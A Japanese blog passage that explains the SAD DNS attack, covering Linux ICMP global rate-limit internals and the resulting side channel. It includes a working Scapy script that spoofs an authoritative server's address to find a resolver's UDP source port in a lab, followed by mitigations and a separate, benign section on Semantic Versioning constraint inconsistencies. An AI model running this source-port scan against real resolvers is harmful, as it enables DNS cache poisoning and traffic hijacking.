まとめるとUDPのクライアントの実装としては以下の2種類があることになります。

  1. connect()しない場合
    • 任意のIPアドレス・ポートから受信可能
    • Public-Facing Source Portと呼ぶこととする
  2. connect()する場合
    • 特定の相手とのみ通信可能(ソースIPアドレス・ソースポート番号の確認が行われる)
    • Private Source Portと呼ぶこととする

上の説明でもconnect()を使う方法は一般的ではないと書かれているように、Unboundゃdnsmasqなどの有名なDNS実装ではconnect()が使われていないそうです。BINDではconnect()を使っています。

そして、もう一つ重要な点としてOSによって弾かれた場合とアプリケーション層で弾かれた場合で挙動が異なるということです。アプリケーション層で弾かれた場合はただ捨てられるだけですが、OSで弾かれた場合はICMPのport unreachableが送信元に返されます。この挙動の違いによってポートスキャンが可能になります。これはSAD DNSの手法ではなくて従来から利用されています。ポートスキャンツールではnmapなどが有名ですが、こういった挙動の差を利用してポートをスキャンしています。実際には対策が入っていてICMPだとうまく動作しなかったりするのでTCP SYNを使ったりポートスキャンにも手法が色々あるのですが、それは大きなテーマになるので今回は置いておきます。

話を戻すと、1の実装の場合はDNSゾルバがクエリを投げる時、そのソースポートはオープン状態になります。つまり攻撃者が任意のIPアドレスからポートスキャンをすると、クローズな場合はICMP port unreachableが返ってきますがオープンな時はICMPが返ってきません。この挙動を観察することで攻撃者は容易にソースポートを推測することが出来ます。ソースポートさえ分かってしまえば、あとは16bitのQuery IDを推測するだけなので攻撃実現性はかなり高まります。

ICMP rate limit

容易に推測可能と言いましたが、実際には対策が入っておりそこまで簡単ではありません。なぜかと言うとLinuxなどの主要OSにはICMPエラーを返す際のrate limitが設定されているためです。先程のICMP port unreachableは1秒あたりに返せる量の上限があるため、高速にスキャンすることが出来ません。

元々はルータなどでリソース消費を避けるためにICMPのrate limitは導入されましたが、現在では各OSでも広く実装されています。特に、LinuxにおいてはICMP rate limitは2種類あります。

  1. per-IP rate limit
  2. global rate limit
    • IPアドレス関係なくマシン全体が送出できるICMPの上限
    • kernel 3.18で導入

1はIPアドレス単位で保持する必要があるため、lookupなどは重い処理になります。それを緩和するために2が導入されたという背景のようです。

per-IP rate limit

1はsysctlのicmp_ratelimitによって制御されています。デフォルトでこの値は1000です。

icmp_ratelimit | sysctl-explorer.net

ソースコードを見ると、ここでinet_peer_xrlim_allow()net->ipv4.sysctl_icmp_ratelimitを渡しています。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

inet_peer_xrlim_allow()の実装は以下。

linux/inetpeer.c at 386403a115f95997c2715691226e11a7b5cffcfd · torvalds/linux · GitHub

短いので貼っちゃいます。

#define XRLIM_BURST_FACTOR 6
bool inet_peer_xrlim_allow(struct inet_peer *peer, int timeout)
{
    unsigned long now, token;
    bool rc = false;

    if (!peer)
        return true;

    token = peer->rate_tokens;
    now = jiffies;
    token += now - peer->rate_last;
    peer->rate_last = now;
    if (token > XRLIM_BURST_FACTOR * timeout)
        token = XRLIM_BURST_FACTOR * timeout;
    if (token >= timeout) {
        token -= timeout;
        rc = true;
    }
    peer->rate_tokens = token;
    return rc;
}

token bucketの実装になっています。何それ?という方は適当にググってもらえると出ると思います。先程の icmp_ratelimit というのは実はtokenが回復する時間の指定になっています。1000というのは1000msを意味するので1秒に1ずつ回復していきます。つまり、実はICMPエラーは1秒に1つずつしか返せません。icmp_ratemask という値があってどのICMPメッセージタイプをrate limitの対象にするか、とかが選べるのですが長くなるのでとりあえずport unreachableは対象なんだなと考えて下さい。

上の実装をさらに見ると、バースト用の処理も実装されています。一時的に1秒間に1回以上送りたい場合は6回までは許容するようになっています。しかしそれも使い切ってしまうとやはり1 message/secで回復していきます。とりあえずざっくりIPアドレス単位で1秒に1つまで送れるんだなと思っておいて良いです。

自分が論文を読む前に特に疑問だったのはこの箇所です。今回のSAD DNSはglobal rate limitを悪用する手法なのですが、このper-IP rate limitによって全然ICMP port unreachableが返ってきません。その辺りもうまく解決しているのであとで解説します。

global rate limit

global rate limitに関する処理は以下です。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

これも短いので貼っちゃいます。

bool icmp_global_allow(void)
{
    u32 credit, delta, incr = 0, now = (u32)jiffies;
    bool rc = false;

    /* Check if token bucket is empty and cannot be refilled
    * without taking the spinlock. The READ_ONCE() are paired
    * with the following WRITE_ONCE() in this same function.
    */
    if (!READ_ONCE(icmp_global.credit)) {
        delta = min_t(u32, now - READ_ONCE(icmp_global.stamp), HZ);
        if (delta < HZ / 50)
            return false;
    }

    spin_lock(&icmp_global.lock);
    delta = min_t(u32, now - icmp_global.stamp, HZ);
    if (delta >= HZ / 50) {
        incr = sysctl_icmp_msgs_per_sec * delta / HZ ;
        if (incr)
            WRITE_ONCE(icmp_global.stamp, now);
    }
    credit = min_t(u32, icmp_global.credit + incr, sysctl_icmp_msgs_burst);
    if (credit) {
        credit--;
        rc = true;
    }
    WRITE_ONCE(icmp_global.credit, credit);
    spin_unlock(&icmp_global.lock);
    return rc;
}

sysctlのicmp_msgs_per_secicmp_msgs_burst によって制御されています。実はこの2つや先ほどのicmp_ratelimitがどう作用するのかドキュメント読んでもさっぱり分からなくて困ってたのですが、ソースコードを読んだら短いし簡単に理解できたのでやはりソースコードこそが正義なところがあります。このicmp_msgs_per_secは1秒に何回ICMPメッセージを送ってよいかを制御する値です。この際、宛先は関係なくマシン全体でカウントされます。デフォルトは1000なので1秒に1000回まで送れます。

まず最初にdeltaを計算しています。

delta = min_t(u32, now - icmp_global.stamp, HZ);

前回ICMPを送った時刻(宛先問わず)からの経過時間です。ミリ秒になっているはずです。HZは環境にもよるようですが、大体1000だと思っておけば良いと思います。min_tしているので、時間が大きく経過している場合は1000になります。

次に、deltaHZ / 50 を比較しています。これはつまり20ms以上経過している場合のみ処理するという意味になります。その中で計算されているincrが回復を意味するので、20msごとにトークンが回復していることが分かります。つまり、icmp_msgs_per_sec とは言っているものの実は20msごとに計算される実装になっています。これはあとで結構重要です。20ms経過していればincrは20になるので、20個分送れるように容量が回復することになります。

if (delta >= HZ / 50) {
    incr = sysctl_icmp_msgs_per_sec * delta / HZ ;
         ...
}

次に sysctl_icmp_msgs_burst と比較して小さい方を取っています。

credit = min_t(u32, icmp_global.credit + incr, sysctl_icmp_msgs_burst);

これは先程のper IP rate limitの実装でも見たように、バースト用の処理になっています。1秒で1000回まで送れるとはいえ短期間に一気に送るのはまずいわけです。なので短期間で多数のICMP送信要求が来た場合は icmp_msgs_burst の値によって制御され(デフォルトでは50)、バーストしないように処理されます。20ms以内に多数来た場合は50回まで送れるということになります。つまり1秒で1000回と言っても最初の20msで1000回分送って、あと980msは0回みたいな送り方は許されていません。そして20ms経てばまた20メッセージ送れるようになります。50ms以上経過した場合は再び50になります(icmp_msgs_burstがデフォルト値の場合)。

if (credit) {
    credit--;
    rc = true;
}

あとはcreditが0じゃない場合はcreditを減らしていき、0の場合はdenyするという処理です。

分かりやすさのために具体的に数字を出して説明していますが、設定値によって挙動は異なりますので各値や環境に応じて読み替えて下さい。

論文によるとmacOS 10.15やFreeBSD 12.1.0ではglobal rate limitは実装されていたもののper-IP rate limitはなかったそうです。

Public-Facing Source Portのスキャン

これは先程説明したようにconnect()を使わない実装の場合のスキャン方法になります。UDPで雑にポートスキャンすればICMP port unreachableが返ってくるので判別可能なのですが、上で説明したper-IP ICMP rate limitのせいで1秒に1ポートしかスキャンできません(最初はバーストできるので6ポート可能)。

これの回避方法として3つ挙げています。

  1. 攻撃者が複数のIPアドレスを保つ場合
  2. 1つのIPv4しか持たないがDHCPで複数のIPアドレス取得が可能な場合
  3. 1つしかIPアドレスを持たず、上の1,2も難しい場合

まず1の場合ですが、UDPパケットを送信する際にソースIPアドレスを偽装してしまえばOKです。per-IPはIPアドレス単位のため、送信元さえ偽装してしまえばper-IPのrate limitはバイパス可能です。global rate limitには引っかかりますが、1秒につき1000ポートスキャン可能なのでper-IPに比べるとかなり緩和されます。例えばIPv6などを持つケースでは1000個のIPv6アドレスを自分のマシンにつけてしまって、それらをソースIPアドレスとしてUDPパケットを送ればICMP port unreachableがそれぞれのIPv6アドレスに返ってきます。その結果を見ればポートの開閉が判別できます。これはSAD DNSの手法というわけではなくて普通のスキャン手法です。

2はLAN内のフォワーダの話だと思うのでskipします。十分なグローバルIPアドレスを配ってくれるDHCPサーバならパブリックDNSサービスに対しても有効そうですが、最近IPv4枯渇してますし一旦スルーします。

3が重要です。適当に送信元を偽装することでper-IP rate limitの制限は回避できますが、そのレスポンスを攻撃者は見ることが出来ないためICMPエラーメッセージが返ってきたかどうかを知ることが出来ません。これだとポートが開いているかどうか判別不可能です。そこで、global rate limitに対してサイドチャネル攻撃を行います。Linuxの場合で手順を説明します。

まず最初に以下の図を見るとあとの説明が分かりやすいかと思います。

f:id:knqyf263:20201119173900p:plain

論文 P.1341, Figure 1より引用

50ポートずつスキャンしていきます。

■ スキャンしたポート番号の範囲内にオープンなポートがない場合

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、per-IP制限にかからないように送信元IPアドレスはすべて異なるものにする
  2. 50個のICMP port unreachableがそれぞれのIPアドレスに返される
    • このレスポンスを攻撃者は見ることが出来ない
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMPはglobal rate limitに引っかかって返ってこない

上記はすべて20ms以内に行う必要があります。20msを超えるとトークンが回復してしまうためです。先ほど説明したように20ms以内に送れるICMPエラーメッセージの数はicmp_msgs_burstによって制御されています。つまり全てのポートがcloseな場合、既に50個のICMP port unreachableが返されてrate limitの上限に達しています。その状態で検証用UDPパケットを送ってもrate limitのためにICMPエラーは返ってきません。

ではポートが空いている場合はどうでしょうか?

■ スキャンしたポート番号の範囲内にオープンなポートがある場合

上図では開いているポート数をnとしていますが以下の説明では1としています。

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、per-IP制限にかからないように送信元IPアドレスはすべて異なるものにする
  2. 49個のICMP port unreachableがそれぞれのIPアドレスに返される
    • 1つは開いているためICMPエラーを返さない
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMP port unreachableが返ってくる
    • 49個しかICMPメッセージを送出していないためglobal rate limitの上限に達していない

ということでポートが開いている場合と開いていない場合で、最後の検証用UDPパケットに対する挙動が異なります。1つでもポートが開いていればICMP port unreachableが返ってくるし、全て閉じていれば返ってきません。これで指定した50ポートの中にオープンなものがあることが分かるため、あとは二分探索などを適当にすればオープンポートを突き止められます。

なお、1回目のスキャンと2回目のスキャンは50ms以上間隔を空ける必要があります。そうしないと十分にglobal rate limitのトークンが回復していないためうまく挙動の違いを観測できません。

icmp_msgs_per_sec のデフォルト値が1000のため、この方法では1秒あたり1000ポートスキャン可能です。65,535ポート全てをスキャンするためには1分以上かかります。さらに、20ms以内に全てを行わないといけないため時間にシビアな攻撃手法となっています。ネットワークが不安定だったりすると20ms以内で送りきれなかったり、50msの間隔もうまくはかれなかったりするため実際にはさらに時間がかかります。これらを全てDNSクエリに対する応答が返ってくるまでに行わないといけないのでこのままだと厳しいのですが、最初に全体像で説明したように応答を遅らせる細工をすることで攻撃実現性を高めています。その方法についてはあとで少しだけ触れます。

また、よく利用されているDNSゾルバの場合はポートが多く開いていて、ノイズとなりえます。しかし通常のDNSクエリであればすぐに応答が返ってくるためそのポートもすぐに閉じられます。しかし攻撃対象のクエリはなかなか応答が来ないように細工するため、うまく実装すればすぐに消えたポートは無視して対象のポートのみに絞るこんでいくことが可能です。

他にもパケロス等もノイズとなりえます。その辺りについても解説されているので興味があれば論文をどうぞ。

Private Source Portのスキャン

connect()を使った実装の場合のスキャン方法です。BINDなどが該当します。これの難しい点としては、正しいソースIPアドレスを指定しないと弾かれてしまうという点です。そのため、ポートスキャンをするためには権威DNSサーバのソースIPアドレスを指定する必要があります(フォワーダが攻撃対象の場合はフルリゾルバのアドレスなど)。

下の図でいうとNameseverのIPアドレスをソースアドレスとして詐称したUDPパケットを攻撃対象のリゾルバに送ります。

https://blog.cloudflare.com/content/images/2020/11/image2-7.png

Cloudflareのブログより引用

実はこのCloudflareの図は正しくありません。恐らく簡単に解説するために簡略化したのだと思いますが、実際には50個のICMPエラーは返ってきません。なぜなら既に説明したようにper-IP ICMP rate limitがあるためです。1秒に1回しか送出できないため、50個のICMPメッセージを返すためにはUDPパケットを1秒に1つずつゆっくり送る必要があります。特にこの部分がCloudflareの説明で理解できないところでした。

論文上ではここに関する説明も書いてあります。というのは、実はLinuxソースコードを見るとglobal rate limitはper-IP rate limitより先にチェックされます。icmp_reply()の実装を見ると、global rate limitをチェックするためのicmpv4_global_allow()はper-IP rate limitのicmpv4_xrlim_allow()より先に呼ばれています。

linux/icmp.c at 2295cddf99e3f7c2be2b1160e2f5e53cc35b09be · torvalds/linux · GitHub

これはどういうことかと言うと、仮にper-IP rate limitの制限に引っかかってICMPエラーが返って来ないとしてもglobal rate limiのトークンはしっかり消費しているということです。つまり仮にICMPエラーが返らないとしても先程のサイドチャネル攻撃が成立します。恐らく重たいper-IP rate limitより先に呼びたかったと思われるので皮肉なことだが意図的だろうと著者は推測しています。

実際にはICMPエラーは1つしか返ってこないので以下の図になります。

f:id:knqyf263:20201119200625p:plain

論文 P.1341, Figure 4より引用

仮にICMPエラーが1つしか返ってこないとしてもglobal rate limitのtokenは消費されているため、最後の検証用UDPパケットは異なる挙動になります。スキャンレンジ内のポートが1つ開いている場合について説明します。

  1. 50個のUDPパケットをDNSゾルバに送信する
    • 送信先ポート番号は全て異なるもの(1-50とか51-100とか)
    • この際、送信元IPアドレスは権威DNSサーバのものにする
  2. 1個のICMP port unreachableが権威DNSサーバに返される
    • per-IP rate limitの制限に引っかかるため
    • 49ポートは閉じておりglobal rate limitのtokenは49回分消費されるが、1回分だけ残る
  3. 検証用UDPパケットを実際のIPアドレスを送信元に設定して送信する
    • この時確実にcloseしているポートを送信先にする(1番など)
  4. ICMP port unreachableが返ってくる
    • global ate limitの上限に達していないため

全てのポートが閉じている場合はICMPエラーは返ってきません。

この方法で実はPublic-Facing Source Portのスキャンも可能です。per-IP rate limitをバイパスするために異なるIPアドレスを詐称していたわけですが、実は不要だったためです。

同様にノイズなどはありますが、Public-Facing Source Portと異なり、ソースIPアドレスが間違っていると弾いてくれるためノイズはかなり少ないです。

ということでソースポートの推測ができました。

攻撃Windowの拡張

スキャンが1分以上かかってしまうため、時間を稼ぐ必要があります。どうやるかと言うとResponse Rate Limiting(RRL)を悪用します。これもリゾルバに対して行うのかと思っていたので最初意味が分からなかったのですが、実は権威DNSサーバに対してfloodingするという意味でした。RRLというのはDNSにおけるrate limitです。

kb.isc.org

ざっくり説明するとスキャンのような怪しい通信を検知したらレスポンスを返すのを遅くする仕組みです。正規のリゾルバが正規の権威サーバに問い合わせたタイミングで攻撃者は正規の権威サーバに大量のDNSクエリを送信します。この際、同一のソースIPアドレスだったり同一の情報を要求したりすると不正として検出されます。その結果権威サーバがレスポンスを返すのが遅くなり、攻撃者がソースポートをスキャンする余裕が生まれるというわけです。発表資料の図が分かりやすいと思います。

f:id:knqyf263:20201119180238p:plain

発表資料 P.13より引用

これは皮肉なもので、悪用を防ぐためのrate limitが権威サーバにおいても攻撃に利用されています。rate limitを使ってソースポートを推測し、rate limitを使って攻撃Windowを広げる、ということでSAD DNSはrate limit尽くしな攻撃手法だと思います。

サイドチャネル攻撃でUDPソースポートを推測してみる

自分でもPoCを書いてみたのですが、発見者がリポジトリを非公開にしたようなので意図を汲んで自分も公開はしないでおきます。ですがソースポートの推測は非常にシンプルな仕組みなので、試し方を説明します。

まずサーバを3つ用意します。

  1. DNSフルリゾルバ役(192.168.33.10
  2. 権威DNSサーバ役(192.168.33.11
  3. 攻撃者役(192.168.33.12

実際にはDNSクエリは飛ばさずにncで代用します。

1から2に対してDNSの体でUDPで通信します。まず2のサーバ上でncでlistenします。

$ sudo nc -ulp 53

次に1から2の53番ポートに繋ぎ適当にデータを送ります。これがDNSクエリだと思ってください。

$ nc -u 192.168.33.11 53
foo

そして適当にtcpdumpでデータを見ます。

$ sudo tcpdump -nnni eth1 port 53
09:17:27.269535 IP 192.168.33.10.45682 > 192.168.33.11.53: domain [length 4 < 12] (invalid)

これで推測したいポート番号が45682であることが分かります。ではPythonのScapyを使ってPoCコードを書いてみます。

#!/usr/bin/python

from scapy.all import *
from more_itertools import chunked
import time
from tqdm import tqdm


burst = 50
dns_port = 53
resolver = "192.168.33.10"
auth = "192.168.33.11"

def scan(src, sport, dst, ports):
    time.sleep(0.1)

    pkts = []
    for p in ports + [1] * (burst - len(ports)):
        pkt = IP(src=src, dst=dst)/UDP(sport=sport, dport=p)
        pkts.append(pkt)

    send(pkts, verbose=0)

    verification = IP(dst=dst)/UDP(sport=sport, dport=1)
    res = sr1(verification, timeout=0.05, verbose=0)

    if res is None:
        return -1
    elif res[ICMP].type == 3:
        if len(ports) == 1:
            return ports[0]
        res = scan(src, sport, dst, ports[:len(ports)//2])
        if res > 0:
            return res
        return scan(src, sport, dst, ports[len(ports)//2:])
    return -1


for ports in tqdm(list(chunked(range(1, 65535), burst)), leave=False):
    res = scan(auth, dns_port, resolver, ports)
    if res > 0:
        break

print("source port:", res)

非常に簡単です。srcに権威サーバのアドレスを指定し、dportを50ずつずらしてスキャンしていきます。DNSクエリの応答になりすましたいのでsportは53番になります。最後に送る検証用UDPパケットでは実際の自分のIPアドレスをソースアドレスとして使います。

最後の検証に対してICMPが返ってきたら、そのレンジのいずれかのポートが開いていることを意味するのでスキャンするポート範囲を半分にしてスキャンし直します(二分探索)。ただしrate limitの関係で必ず50個のUDPパケットを送る必要があるため、パディングしています。この際、パディングのポート番号は必ずcloseであることが期待される番号を(今回は1)指定します。パディングのポートが開いていたりすると誤検知します。

概念的にはこれで良いのですが、Scapyだと20ms内に50もUDPパケットを送れませんでした。そのため、意図的にburstの値を低くして検証しました。以下のコマンドをリゾルバ上で打ちます。

$ sudo sysctl -w net.ipv4.icmp_msgs_burst=10

実際に攻撃する際はパケット全部を作ってから一気に送るとかそもそもCで書くとか工夫が必要かと思われます。上の例では10に設定したのでPythonコード上のburstも10に変更する必要があります。

あとはこれを実行するだけです。以下のように45682番と表示してくれます。

$ python3 main.py
source port: 45682

burst値を10にしてもたまに20msを超えたりするのでうまく検出できないことがあります。また、50ms以上待つ必要があると上で説明しましたが50ms丁度だと安定しなかったためこのPoCでは100ms待っています。同一PC内のネットワークですらこれなので、インターネット越しのサーバを攻撃するにはさらに時間かかりそう+誤検知多そうだなと思いました。

対策

LinuxではCVE-2020-25705の脆弱性として認定され、global rate limitをランダマイズする変更が入りました。v5.10以降であればこのサイドチャネル攻撃は成立しません。あと当然ですがglobal rate limitが導入される前のバージョンはそもそも刺さりません。

kernel/git/torvalds/linux.git - Linux kernel source tree

他にもICMPのunreachableを返さないように設定することでも防ぐことが出来ます。各種DNSサーバ側でも対策が入っているようなので最新版を使うと良さそうです。

- Fix to connect() to UDP destinations, default turned on, · NLnetLabs/unbound@26aa550 · GitHub

ただこの変更を見ると単にconnect()使っているだけに見えるのでPublic-Facing Source PortがPrivate Source Portになっただけな気も...?

攻撃実現性

従来のキャッシュポイズニングと比べると劇的に攻撃実現性が向上した気がします。サイドチャネル攻撃でここまで持っていくのは本当に感動しました。ですが、やはり未だに攻撃を成立させるためにはいくつかのハードルがあります。

まずパブリックDNSサーバなどではリクエストを受け取るアドレスがエニーキャストアドレスになっていたりするため、実際にクエリを送信するアドレスと異なります。これに対しては自分の管理する権威サーバに対して問い合わせることでIPアドレス一覧を取得することが可能です。

また、再三説明しているように時間にシビアです。20ms以内に送り終える必要がありますし、順番が変わって検証用UDPパケットが先に届いたりするとうまくいきません。さらに権威サーバの正規レスポンスが帰ってくる前に毒を入れ終える必要もあります。これはRRLによって緩和可能ですがRRLが実装されている権威サーバは現在18%程度のようです。また、UDPの応答がない場合にTCPにフォールバックするような場合も動かないだろうとCloudflareのブログでは書かれています。

あとそもそも別の用途でICMPを送出しているような場合はglobal rate limitの残量が50じゃない可能性もあり、そういう場合はうまくサイドチャネル攻撃が成立しないと思われます。

以上の要件からそこまで簡単とは言えませんが、何度も試すことでいつか成功する程度の確率はある気がするので放置するには危険な脆弱性なのかなと思います。

まとめ

面白かった

Semantic Versioningの闇

今回も誰も興味ないシリーズなので今まで書いてこなかったのですが、Semantic Versioningに関して幻想を抱いている人がいる可能性があり、そういう方にどうしても現実を知っておいて欲しかったので書きました。3行要約(と可能なら余談)だけでも読んでいただけると幸いです。

3行要約

  • Semantic Versioning 2.0.0にはバージョン"比較"の定義はあるが、バージョン"制約"(>= 2.1.3みたいなやつ)の定義がない
  • その結果、同じsemver準拠ライブラリでも制約の解釈が異なり結果が真逆になる
  • というかそもそもsemver使ってるエコシステムが少なすぎる

背景

セキュリティアドバイザリでは特定のバージョンが脆弱であることを示すためにバージョン制約が使われることが多いです。例えば >=1.2.0 <1.2.6みたいなやつです。この場合、1.2.5は脆弱だが1.2.6は修正済みということが分かります。そのためバージョン比較は重要なのですが、バージョニングの定義として一番有名であるSemantic Versioning 2.0.0(以下semver)に従っているケースは実はレアで、エコシステムによって全く異なります。

semverについて少し説明すると、3つの数字をドットで区切りそれぞれmajor, minor, patchとします。どういう時にそれぞれのバージョンを上げるのかはドキュメントを参照してほしいのですが、つまり 2.4.1 みたいな形式になります。 1.8 とか 1.9.2.3 とかは許されません。他にも - でPre-releaseを、+でBuild metadataが定義できたりします。1.0.0-alpha+001 のような形式です。

Debian系のOSではdeb-versionが使われていますし、Red Hat系も独自のバージョニングを使っており、どちらもsemverとは大きく異なります。Red Hatに至ってはバージョン比較の仕様書が見つけられず(Naming Conventionはあるけどこれだけでは比較はできない)、ソースコードを読みましたがかなり独特な感じです。これらはそもそもupstreamのソフトウェアのバージョニングに加えてディストリビューターがビルドした際にバージョンを付与する必要があるため、必然的にSemantic Versioningでは対応できないのですが、Alpineも当然のように実装が異なりますし、頼むから誰か統一してくれ...という気持ちです。

話はずれましたが、これらOSパッケージはある程度仕方ないとしてもプログラミング言語のライブラリも厳密にsemverに準拠していないものは多いです。例えばRubyGemsは以下でバージョニングが定義されています。

guides.rubygems.org

最初見たときにはSemantic Versioningと書いてあって、「おっ!」と思ったのですが下を見るとPre-releaseの定義がかなり独特です。

guides.rubygems.org

先程少し上で説明しましたがsemverであれば 1.2.3-alpha のように - 区切りでPre-releaseを定義します。つまり - は特別な意味を持ち、この場合は 1.2.3 より小さい(古い)とみなされます。通常はalpha, beta, rcなどリリース前の非安定版をテストするために使われます。ところがRubyGemsではPre-releaseは文字をドット区切りで入れるだけです。 1.2.3.aのような感じですね。これは 1.2.3 よりも小さくなります。さらに言えば、 1.2.3a とか 1.2.a3 とか 1.2.3.4.5.6.7 とかも許されますし実は全然semver準拠ではありません。あくまでsemverとか使うと良いよ〜と推奨してるだけで、全然誰も守ってません。Ruby on Railsほどの有名なソフトウェアがsemver準拠ではない時点で推して知るべしという感じです(執筆時点の最新は6.0.3.4です)。また、ffiのようにカジュアルに - を使っているソフトウェアもあります。例えば 1.13.1-javaなどがあります。ドキュメントには - について記載がなかったので特に意味ないのかなと思ったのですが、ソースコードを読んだところ内部的には .pre.置換されます。なのでそのあたりを考えてバージョニングをする必要があります。

ちなみに上述したRed Hat, Debianなどはupstreamのバージョンに加えてディストリビューション独自のパッチバージョンを示すために-が使われます。こういうOSパッケージではupstreamで更新があった際にそのまま使うことは少なく、バックポートして修正するためです。つまりupstreamが1.2.3から1.2.4に上げた時にDebianでは1.2.3にバックポートして1.2.3-1などにするということです(実際にはもっと複雑)。これは互換性を保つために行われているのですが、いずれにせよ - はPre-releaseを意味しないため、 1.2.3-11.2.3 より大きい(新しい)です。semverでは 1.2.3-1 の方が小さいため真逆になります。Red HatDebian、そしてAlpineのバージョニングだけで無限に語れるのでここでは一旦この程度の簡易な説明に留めます。

ということで再び脱線しましたが、semverに準拠していないバージョニングを採用している言語は多いです。では、semverなら安全なのか?という話になります。実際にsemverに準拠しているライブラリの挙動を以下で見ていきます。

Semantic Versioning準拠のライブラリ

バージョン比較と制約の違い

まず最初に説明しておくと、バージョン比較と制約は異なるものです。

  • バージョン比較
    • 1.2.32.0.0のどちらが大きいか?
    • -1, 0, 1などを返す
  • バージョン制約
    • 1.2.3>2.0.0 を満たすかどうか?
    • 通常戻り値はtrue/false

一見同じように見えますが、実は全然違うものです。記事を読んでいくと分かるかと思います。

バージョン省略時の扱い

まず、Node.jsはsemverに従っているということで semverライブラリを試してみます。

$ cat compare.js
const semver = require('semver')
console.log(semver.satisfies('1.3.4', '=1.3.4'))

$ node compare.js
true

このようにsemver.satisfiesを使うことで簡単に制約を満たすかどうかを確かめられます。では、以下のケースはどうでしょうか?

console.log(semver.satisfies('1.3.4', '=1'))

この結果をまず考えてみてほしいです。

正解は、trueになります。1行で書くと 1.3.4 = 1 です。これは明らかに直感に反しています。ただ中には「いやいや当然trueでしょう」という方もいると思いますが、それはよく訓練されすぎておかしくなってます。1.3.4 = 1 という式を改めて見て冷静になって欲しいです。

以下のケースはどうでしょう?

console.log(semver.satisfies('1.3.4', '>1'))

これも 1.3.4 > 1 という式で考えてみるとtrueに見えます。しかし実際にはfalseを返します。

ということで引っ張りましたが、これはバージョンの一部を省略した場合の解釈が直感と反することによります。Node.jsではバージョンを省略した場合 * の扱いになります。つまり =1 というのは =1.*.* になります。そのため、 1.3.4 = 1.*.* なので当然trueになります。また、>1>1.*.* になるので、実質 >=2.0.0 と等しくなります。そのため結果はfalseになります。普通は =1=1.0.0 のように0埋めするのかなと考えてしまうため、Node.jsの挙動はややおかしく感じます。

ではGoのライブラリである hashicorp/go-version はどうでしょうか。

github.com

こちらも

Versions used with go-version must follow SemVer.

と言っているのでsemver準拠です。ということで試してみます。

package main

import (
    "fmt"

    "github.com/hashicorp/go-version"
)

func main() {
    v, _ := version.NewVersion("1.3.4")
    constraints, _ := version.NewConstraint("=1")
    fmt.Println(constraints.Check(v))
}

https://play.golang.org/p/GFZnF6Jnp2f

この結果は何とfalseになります。Node.jsのライブラリではtrue、Goのライブラリではfalseで完全に真逆です。これは、hashicorp/go-version にとっては =1 は単に =1.0.0 だからです。そのため、 1.3.4 = 1.0.0 は当然falseです。

何故このようなことが起こるのか?というと、Semantic Versioning 2.0.0にはバージョン"制約"(>= 2.0.0みたいなやつ)の定義がないためです。バージョンのフォーマットや比較方法については定義がありますが、バージョン制約については何も触れられていません。そのため、ライブラリによって解釈の違いが生じます。

ちなみに1というのはsemverに違反しているので、1.3.41の比較は発生しません。一方で1.3.41.0.0 であれば明確に比較方法が定義されているので 1.3.4 が大きいと断言できます。つまり、バージョン比較なら一意に定まるがバージョン制約を満たすかどうかは実装依存ということになります。

ではもう一つのGoライブラリで有名な Masterminds/semver を見てみます。

github.com

package main

import (
    "fmt"
 
    "github.com/Masterminds/semver"
)

func main() {
    v, _ := semver.NewVersion("1.3.4")
    constraints, _ := semver.NewConstraint("=1")
    fmt.Println(constraints.Check(v))
}

https://play.golang.org/p/phNI6vS0VnD

こちらの結果はtrueです。このライブラリにとっては =1=1.*.* 相当ということです。同じGoでsemver準拠のライブラリであっても、異なるライブラリを使えば結果が真逆になります。これは結構恐ろしいので、ライブラリがどちらの解釈なのかを知った上で使う必要があります。ドキュメントには書いてなかったりするので、ソースコードを読みましょう。

Pre-releaseの扱い

では再びNode.jsに戻ります。以下はどうなるでしょう?

console.log(semver.satisfies('1.2.3-alpha', '>1.0.0'))

alpha はついているものの、1.2.31.0.0よりかなり大きいです。そのため、普通に考えたらtrueです。

$ node compare.js
false

しかし実際にはfalseになります。直感に反しまくりです。これは、このライブラリが純粋なバージョン比較ではなく利用者がインストールしたいバージョンを選ぶためのルールとしてバージョン制約を扱う側面があるためです。どういうことかというと、基本的にPre-releaseは安定版ではないためそのライブラリを利用しているユーザとしてはそのバージョンをインストールしたくないケースが多いです。そのためPipenvなどでも pipenv install --pre のようにオプションを付けないと基本的にはPre-releaseなバージョンはインストールされません。Node.jsにおいても同様で、 >1.0.0 というのは1.0.0より大きい安定版のバージョンを意味します。そのため、Pre-releaseがある場合は常にfalseになります。

Goのそれぞれのライブラリを見てみます。

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // false

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
fmt.Println(c2.Check(v2)) // false

https://play.golang.org/p/M5aJE9YNyCI

どちらもfalseになります。つまりPre-releaseを除外するというのは割と一般的な挙動と言えます。しかしセキュリティアドバイザリとの比較という意味では 1.2.3-alpha は明らかに >1.0.0 を満たしているのでとても困ります。

今のところ Masterminds/semver はNode.jsと同様の挙動をしているため、一緒の振る舞いなのかと思うかもしれません。しかしそれは甘いです。マックスコーヒーぐらい甘い考えです。

ConstraintがPre-releaseの場合

ではNode.jsに戻ってバージョン制約側がPre-releaseの場合を見てみます。以下のケースを考えます。

console.log(semver.satisfies('1.0.0-beta', '>1.0.0-alpha'))

さっきPre-releaseは常にfalseという説明をしたのでfalseと思うかもしれません。しかし実際にはtrueです。これはなぜかと言うと、制約側にPre-releaseを書いているということはPre-releaseを使いたいという意思表示である、そのためPre-releaseをインストールしても良いと解釈されるためです。その結果、普通にbetaとalphaが比較されbetaの方が大きいのでtrueが返ります。

Goはどうでしょうか。

ver := "1.0.0-beta"
con := ">1.0.0-alpha"

v1, _ := version.NewVersion(ver)
c1, _ := version.NewConstraint(con)
fmt.Println(c1.Check(v1)) // true

v2, _ := semver.NewVersion(ver)
c2, _ := semver.NewConstraint(con)
